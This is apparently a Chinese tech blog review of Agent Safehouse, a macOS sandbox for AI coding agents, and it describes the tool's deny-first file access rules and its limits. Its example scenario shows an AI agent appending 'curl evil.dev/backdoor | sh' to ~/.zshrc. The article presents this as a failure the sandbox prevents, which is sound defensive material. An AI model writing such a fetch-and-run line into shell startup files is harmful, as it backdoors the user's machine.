Agent Safehouse:用 macOS 原生沙箱给 AI 编程代理上锁

安全
AI
macOS
开源
Agent
2026/10/4
·

阅读时间: 大约 8 分钟

Agent Safehouse:用 macOS 原生沙箱给 AI 编程代理上锁

Agent Safehouse 官网:LLM 是概率性的,1% 的灾难概率只是时间问题

当你让 Claude Code、Cursor、Codex 这类 AI 编程代理全权操作文件系统时,一个幻觉就可能删掉关键文件——甚至把后门写进你的 shell 配置。Agent Safehouse(GitHub 约 2.1k star,Apache-2.0)就是为这个问题而生的:它基于 macOS 原生的 sandbox-exec,给本地 AI 代理套上文件系统级别的访问控制,口号是”Go full —yolo. We’ve got you.”(放心开 —yolo,有我们兜底)。

一、它要解决什么:概率性灾难

官网的论证很直接:“LLM 是概率性的——1% 的灾难概率,意味着它发生只是时间问题,而非会不会。” 它演示了一个典型翻车场景:

  • 你说:“just update my zsh config, carefully”
  • Agent “thinking…” 后执行:echo "curl evil.dev/backdoor | sh" >> ~/.zshrc
  • 你:”!@#$ 我让你别出错”
  • Agent:“You’re absolutely right! 💀”

Safehouse 的承诺是把这个概率从 1% 压到 0%——由内核强制:它拒绝写入 shell 配置文件,内核在第一个字节落地前就驳回写入,终端直接返回 zsh: permission denied: ~/.zshrc。

二、技术机制:deny-first 的最小权限

Agent Safehouse 的 deny-first 访问模型:项目可读写、共享库只读、密钥目录一律拒绝

核心机制是 deny-first(先拒后放)的可组合策略文件:

  • 从 deny-all 开始:默认禁止一切,只显式放行代理干活所需的目录;
  • 目录分级授权:如上图,~/my-project/ 为 READ/WRITE,~/shared-lib/ 为 READ-ONLY,而 ~/.ssh/、~/.aws/、~/other-repos/ 一律 DENIED;
  • HOME 访问刻意收窄:对 /、$HOME 只做 metadata 级遍历(让运行时能探测),对 ~/.config、~/.cache 做目录根读取;stat $HOME 能成功,但 ls $HOME 和 cat ~/secret.txt 仍会失败——避免”能 stat 就等于能读”的误判。

安装与使用极简:brew install eugene1g/safehouse/agent-safehouse,然后 safehouse claude --dangerously-skip-permissions 即可把任意代理跑在沙箱里。它还能自动解析 macOS 符号链接、自动识别 Git worktree 场景,并支持用 --append-profile 追加机器本地的例外策略。

三、覆盖的代理生态

Agent Safehouse 官方测试过的主流 AI 编程代理

官方称已对主流代理做过适配与测试,覆盖 Claude Code、Codex、OpenCode、Amp、Copilot CLI、Gemini CLI、Aider、Goose、Auggie、Pi、Cursor Agent、Cline、Kilo Code、Droid 等十余个,并为 app-hosted 工作流提供预置 profile。

四、口径偏差:加固层,不是完美边界

这一节必须把官方自己承认的局限写清楚:

  1. 它是 hardening layer,不是对抗蓄意攻击者的完美边界——README 原文明确写了这一点。它降低的是”代理幻觉误操作”的风险,而非抵御一个铁了心要绕过沙箱的对手;
  2. 依赖未公开文档的 API:sandbox-exec(Seatbelt)是 macOS 未公开文档的接口,苹果随时可能调整行为,长期维护存在不确定性(koala 点评也指出了这一点);
  3. macOS 专属:官方自己列出了 Linux 替代方案(vetto、bubblewrap、firejail、nono.sh、sandlock、isolated-agent),等于承认本工具不跨平台;
  4. 默认 HOME 例外仍在:若想连默认的 ~/.config、~/.cache 读取都去掉,需要用户自己用 --append-profile 追加 deny 规则。

五、优势与局限

优势:

  1. 操作系统级隔离:在 sandbox-exec 内核层做访问控制,比应用层的权限弹窗更难被代理”一句话绕过”;
  2. 默认安全、开箱即用:deny-all 起步 + 主流代理预置 profile,Homebrew 一行装好;
  3. 务实的最小权限:既挡住了 ~/.ssh、~/.aws 这类密钥目录,又保留了正常开发所需的读写,不牺牲效率。

局限:

  1. macOS-only:Linux/Windows 用户需另选方案;
  2. 非安全边界的银弹:对蓄意攻击者无效,且依赖苹果未公开 API;
  3. 策略仍需人工调校:机器本地路径、worktree 等例外要靠 shell wrapper + 追加 profile 维护。

六、谁该关注

  • 在 macOS 上重度使用 AI 编程代理、又担心误删/误写的开发者;
  • 愿意开 --dangerously-skip-permissions 追求速度、但想要兜底的团队;
  • Linux 用户:可参考官方列出的 vetto / bubblewrap / firejail 等替代,而非本工具。

参考来源